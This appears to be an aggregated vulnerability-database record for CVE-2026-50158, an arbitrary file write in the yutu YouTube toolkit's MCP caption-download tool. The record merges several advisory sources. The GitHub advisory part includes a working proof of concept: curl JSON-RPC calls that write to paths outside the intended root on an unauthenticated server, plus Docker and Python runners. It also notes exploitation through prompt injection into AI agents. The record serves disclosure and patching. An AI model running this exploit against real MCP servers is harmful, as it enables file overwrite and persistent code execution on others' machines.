{"id":"CVE-2026-50158","revision":null,"records":[{"revision":"435fc464525e46eca766e2a2b2c157cc","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-50158","aliases":[],"title":"yutu: Arbitrary File Write via MCP `caption-download` Tool","description":"yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/caption/caption.go, where os.Create() creates or truncates that path without using the pkg.Root confinement boundary backed by YUTU_ROOT. A principal able to invoke caption-download, including a local HTTP client when the MCP server runs with its default authentication-disabled configuration, can write downloaded caption bytes to any path writable by the yutu process outside YUTU_ROOT. This can overwrite application files, configuration, shell startup files, logs, or data and can cause persistent code execution or denial of service depending on the selected writable target. Live caption retrieval also requires usable service credentials and an accessible caption identifier. This issue is fixed in version 0.10.9.","state":0,"publishedAt":"2026-09-17T21:43:49.806+00:00","modifiedAt":"2026-09-18T14:43:19.02+00:00","affected":[{"ecosystem":"Vendor product","name":"yutu","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"eat-pray-ai\",\n                    \"product\": \"yutu\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.10.9-dev1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":7.7,"severity":"HIGH"}],"references":["https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c","https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3","https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-50158","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-50158","identifiers":["CVE-2026-50158"]},"retained":false,"historicalAffected":[]},{"revision":"ef5df86e6b1e424dbb5d16208841035e","observedAt":"2026-11-11T13:05:59.528+00:00","statement":{"source":"euvd","id":"EUVD-2026-82566","aliases":["CVE-2026-50158","GHSA-2c7f-fxww-6w6c"],"title":"yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/ca…","description":"yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/caption/caption.go, where os.Create() creates or truncates that path without using the pkg.Root confinement boundary backed by YUTU_ROOT. A principal able to invoke caption-download, including a local HTTP client when the MCP server runs with its default authentication-disabled configuration, can write downloaded caption bytes to any path writable by the yutu process outside YUTU_ROOT. This can overwrite application files, configuration, shell startup files, logs, or data and can cause persistent code execution or denial of service depending on the selected writable target. Live caption retrieval also requires usable service credentials and an accessible caption identifier. This issue is fixed in version 0.10.9.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":7.7,"severity":null}],"references":["https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c","https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3","https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-82566","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 17, 2026, 9:43:49 PM","dateUpdated":"Sep 18, 2026, 2:43:19 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-82566","identifiers":["EUVD-2026-82566","CVE-2026-50158","GHSA-2c7f-fxww-6w6c"]},"retained":false,"historicalAffected":[]},{"revision":"e72a3f67efea41dfb5b1ebd70acc85bc","observedAt":"2026-10-25T12:17:38.331+00:00","statement":{"source":"nvd","id":"CVE-2026-50158","aliases":[],"title":"yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/ca…","description":"yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/caption/caption.go, where os.Create() creates or truncates that path without using the pkg.Root confinement boundary backed by YUTU_ROOT. A principal able to invoke caption-download, including a local HTTP client when the MCP server runs with its default authentication-disabled configuration, can write downloaded caption bytes to any path writable by the yutu process outside YUTU_ROOT. This can overwrite application files, configuration, shell startup files, logs, or data and can cause persistent code execution or denial of service depending on the selected writable target. Live caption retrieval also requires usable service credentials and an accessible caption identifier. This issue is fixed in version 0.10.9.","state":0,"publishedAt":"2026-09-17T22:16:59.297+00:00","modifiedAt":"2026-09-24T21:25:27.05+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":7.7,"severity":"HIGH"}],"references":["https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3","https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9","https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50158","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-73"],"productCriteria":[],"sourceDates":{"published":"2026-09-17T22:16:59.297","lastModified":"2026-09-24T21:25:27.050"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-50158","identifiers":["CVE-2026-50158"]},"retained":false,"historicalAffected":[]},{"revision":"e50f4f04370a4e629a0eb3e73ac2eeef","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-2c7f-fxww-6w6c","aliases":["CVE-2026-50158","GO-2026-5980"],"title":"yutu: Arbitrary File Write via MCP `caption-download` Tool","description":"## Arbitrary File Write via MCP `caption-download` Tool\n\n### Summary\n\nThe `caption-download` MCP tool in yutu passes the caller-supplied `file` parameter directly to `os.Create()` at `pkg/caption/caption.go:272` without any path validation, canonicalization, or confinement to the `pkg.Root` boundary (`YUTU_ROOT`). A local attacker — or any process able to reach the HTTP MCP server — can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a **High** severity vulnerability (CVSS 7.7) with high integrity and availability impact.\n\n### Details\n\nyutu uses `pkg.Root` (backed by Go 1.24's `os.OpenRoot`) to restrict all file I/O to the `YUTU_ROOT` directory. Every other caption file-write path honours this boundary:\n\n| Method | Sink | Confined? |\n|--------|------|-----------|\n| `Caption.Insert()` | `pkg.Root.Open(c.File)` (`caption.go:109`) | Yes |\n| `Caption.Update()` | `pkg.Root.Open(c.File)` (`caption.go:193`) | Yes |\n| `Caption.Download()` | `os.Create(c.File)` (`caption.go:272`) | **No** |\n\n`Caption.Download()` is the sole outlier. The attacker-controlled `file` field flows without restriction from the MCP tool input schema to a raw `os.Create()` call:\n\n1. **Source** — `cmd/caption/download.go:32–41`: `downloadInSchema` declares `file` as a required `string` field in the MCP JSON input schema.\n2. **Binding** — `cmd/caption/download.go:61–64`: `cobramcp.GenToolHandler` maps MCP input to `input.Download(writer)`.\n3. **Sink** — `pkg/caption/caption.go:272`: `os.Create(c.File)` creates or truncates the file at the attacker-supplied path.\n4. **Write** — `pkg/caption/caption.go:280`: `file.Write(body)` writes the downloaded caption bytes to that path.\n\n```go\n// cmd/caption/download.go\nvar downloadInSchema = &jsonschema.Schema{\n    Required: []string{\"ids\", \"file\"},          // line 34\n    // ...\n    \"file\": {Type: \"string\", Description: fileUsage},  // line 40\n}\n\n// cobramcp.GenToolHandler binds MCP → handler (line 61-64)\ncobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {\n    return input.Download(writer)\n})\n\n// pkg/caption/caption.go\nbody, err := io.ReadAll(res.Body)   // line 267\nfile, err := os.Create(c.File)      // line 272  ← unconfined sink\n// ...\n_, err = file.Write(body)           // line 280\n```\n\nThe `caption-download` tool is registered by default in `init()` at `cmd/caption/download.go:52`, and the HTTP MCP server starts with `--auth` defaulting to `false` (`cmd/mcp.go:42`), meaning no authentication is required for local HTTP callers.\n\n**Recommended fix:**\n\n```diff\n--- a/pkg/caption/caption.go\n+++ b/pkg/caption/caption.go\n@@\n-       file, err := os.Create(c.File)\n+       file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)\n        if err != nil {\n                return errors.Join(errDownloadCaption, err)\n        }\n```\n\n### PoC\n\n**Prerequisites:**\n- yutu `0.0.0-dev` / commit `351c99d`\n- Valid `YUTU_CREDENTIAL` and `YUTU_CACHE_TOKEN` available\n- yutu MCP server running in HTTP mode\n\n**Docker-based reproduction (no live credentials needed):**\n\nThe self-contained PoC builds a binary that exercises `caption.Download()` directly inside a container, with `YUTU_ROOT=/tmp/yutu_safe_root` as the confinement boundary.\n\n```bash\n# From the report workspace root:\ndocker build --no-cache -t yutu-vuln001-poc \\\n    -f vuln-001/Dockerfile \\\n    reports/mcp_49_eat-pray-ai__yutu\n\ndocker run --rm yutu-vuln001-poc\n```\n\nExpected output confirms:\n- `pkg.Root.Open(\"/tmp/poc-arbitrary-write.txt\")` is correctly rejected with `path escapes from parent` (control).\n- `caption.Download()` with `file=\"/tmp/poc-arbitrary-write.txt\"` succeeds and creates a 79-byte file **outside** `YUTU_ROOT` (exploit).\n\n**Live MCP server reproduction:**\n\n```bash\n# Start the HTTP MCP server (no auth by default)\nyutu mcp --mode http --port 8216\n\n# Initialise session\ncurl -sD /tmp/yutu.headers \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  http://localhost:8216/mcp \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1\"}}}' \\\n  >/tmp/yutu.init\n\nSID=$(awk 'tolower($1)==\"mcp-session-id:\"{print $2}' /tmp/yutu.headers | tr -d '\\r')\n\n# Exploit: write caption to arbitrary path\n# Replace CAPTION_ID with a caption id accessible by the configured token\ncurl -s \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  ${SID:+-H \"Mcp-Session-Id: $SID\"} \\\n  http://localhost:8216/mcp \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"caption-download\",\"arguments\":{\"ids\":[\"CAPTION_ID\"],\"file\":\"/tmp/yutu-cve-poc.srt\",\"tfmt\":\"srt\"}}}'\n\n# Verify file was written outside YUTU_ROOT\ntest -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt\n```\n\n### Impact\n\nThis is an **Arbitrary File Write** vulnerability. Any principal that can invoke the `caption-download` MCP tool — including an unauthenticated local process when the HTTP MCP server is running with default settings (`--auth false`) — can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the `YUTU_ROOT` confinement boundary that all other file-write operations in yutu respect.\n\n**Potential consequences include:**\n- Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution.\n- Corrupting log files or database files to cause denial of service.\n- Writing web-accessible files in deployments where yutu runs alongside a web server.\n- Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the `file` parameter is fully attacker-controlled with no guardrails.\n\nImpacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose `caption-download` to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile\n# Build con: reports/mcp_49_eat-pray-ai__yutu/\n# repo/ - the cloned yutu repository\n# vuln-001/ - this workspace (Dockerfile, poc_main.go)\n\nFROM golang:1.26 AS builder\nWORKDIR /build\n\n# Copy the yutu source tree (provides the vulnerable packages)\nCOPY repo/ .\n\n# Inject PoC as a new command package (does not modify existing source)\nRUN mkdir -p cmd/poc_exploit\nCOPY vuln-001/poc_main.go cmd/poc_exploit/main.go\n\n# Build the PoC binary (static, no CGO needed)\nRUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/\n\n# ── Runtime stage ──────────────────────────────────────────────────────────\nFROM debian:12-slim\n\nCOPY --from=builder /poc /poc\n\n# YUTU_ROOT defines the pkg.Root confinement boundary.\n# The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root,\n# demonstrating the os.Create bypass.\nENV YUTU_ROOT=/tmp/yutu_safe_root\n\nRUN mkdir -p /tmp/yutu_safe_root\n\nCMD [\"/poc\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC Runner\nExploit: Arbitrary File Write via MCP caption-download (CWE-73)\nTarget : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement\n\nUsage: python3 poc.py\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nCONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\nIMAGE_NAME = \"yutu-vuln001-poc\"\n\n\ndef run(cmd, check=False, **kwargs):\n print(\"$ \" + \" \".join(str(a) for a in cmd))\n result = subprocess.run(cmd, =True, **kwargs)\n return result\n\n\ndef main():\n print(\"=\" * 70)\n print(\"VULN-001: Arbitrary File Write via MCP caption-download\")\n print(\"CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)\")\n print(\"=\" * 70)\n\n # ── Build ────────────────────────────────────────────────────────────────\n build_cmd = [\n \"docker\", \"build\",\n \"--no-cache\",\n \"-t\", IMAGE_NAME,\n \"-f\", DOCKERFILE,\n CONTEXT_DIR,\n ]\n print(\"\\n[Step 1] Building Docker image ...\")\n result = run(build_cmd, capture_output=False)\n if result.returncode != 0:\n print(\"\\n[FAIL] Docker build failed.\", file=sys.stderr)\n sys.exit(1)\n\n # ── Run ──────────────────────────────────────────────────────────────────\n run_cmd = [\"docker\", \"run\", \"--rm\", IMAGE_NAME]\n print(\"\\n[Step 2] Running PoC container ...\")\n result = run(run_cmd, capture_output=True)\n\n stdout = result.stdout or \"\"\n stderr = result.stderr or \"\"\n print(stdout, end=\"\")\n if stderr:\n print(stderr, end=\"\", file=sys.stderr)\n\n # ── Verdict ──────────────────────────────────────────────────────────────\n passed = (\n result.returncode == 0\n and \"VULNERABILITY CONFIRMED\" in stdout\n and \"PASS\" in stdout\n and \"os.Create bypasses pkg.Root\" in stdout\n )\n\n if passed:\n print(\"\\n[RESULT] PASS – vulnerability dynamically reproduced.\")\n else:\n print(f\"\\n[RESULT] FAIL – container exit code {result.returncode}.\", file=sys.stderr)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```","state":0,"publishedAt":"2026-07-14T19:34:47+00:00","modifiedAt":"2026-07-21T19:19:17.3091497+00:00","affected":[{"ecosystem":"Go","name":"github.com/eat-pray-ai/yutu","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.10.9-dev1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c","https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3","https://github.com/eat-pray-ai/yutu","https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9-dev1"],"sourceUrl":"https://github.com/advisories/GHSA-2c7f-fxww-6w6c","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2c7f-fxww-6w6c","identifiers":["GHSA-2c7f-fxww-6w6c","CVE-2026-50158","GO-2026-5980"]},"retained":false,"historicalAffected":[]},{"revision":"75aa57b88f924188ac8b971ab7c19d23","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5980","aliases":["CVE-2026-50158","GHSA-2c7f-fxww-6w6c"],"title":"yutu: Arbitrary File Write via MCP `caption-download` Tool in github.com/eat-pray-ai/yutu","description":"yutu: Arbitrary File Write via MCP `caption-download` Tool in github.com/eat-pray-ai/yutu","state":0,"publishedAt":"2026-07-17T19:42:05+00:00","modifiedAt":"2026-07-21T19:15:30.6236917+00:00","affected":[{"ecosystem":"Go","name":"github.com/eat-pray-ai/yutu","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.10.9-dev1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c","https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3","https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9-dev1"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5980","license":"OSV · upstream source license applies","key":"osv:GO-2026-5980","identifiers":["GO-2026-5980","CVE-2026-50158","GHSA-2c7f-fxww-6w6c"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T11:55:28.1860721+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T11:55:28.1860721+00:00","lastSuccessAt":"2026-11-12T11:55:28.4130785+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:28.4130791+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-4a4604796d7c0adea2c1c677026f25a1e039e4a95710b02ad846575329daaa79","complete":true,"records":424651,"lastAttemptAt":"2026-11-12T11:53:33.8199862+00:00","lastSuccessAt":"2026-11-12T11:53:33.7811873+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:53:33.8199862+00:00","snapshotPublishedAt":"2026-11-12T11:27:22+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. 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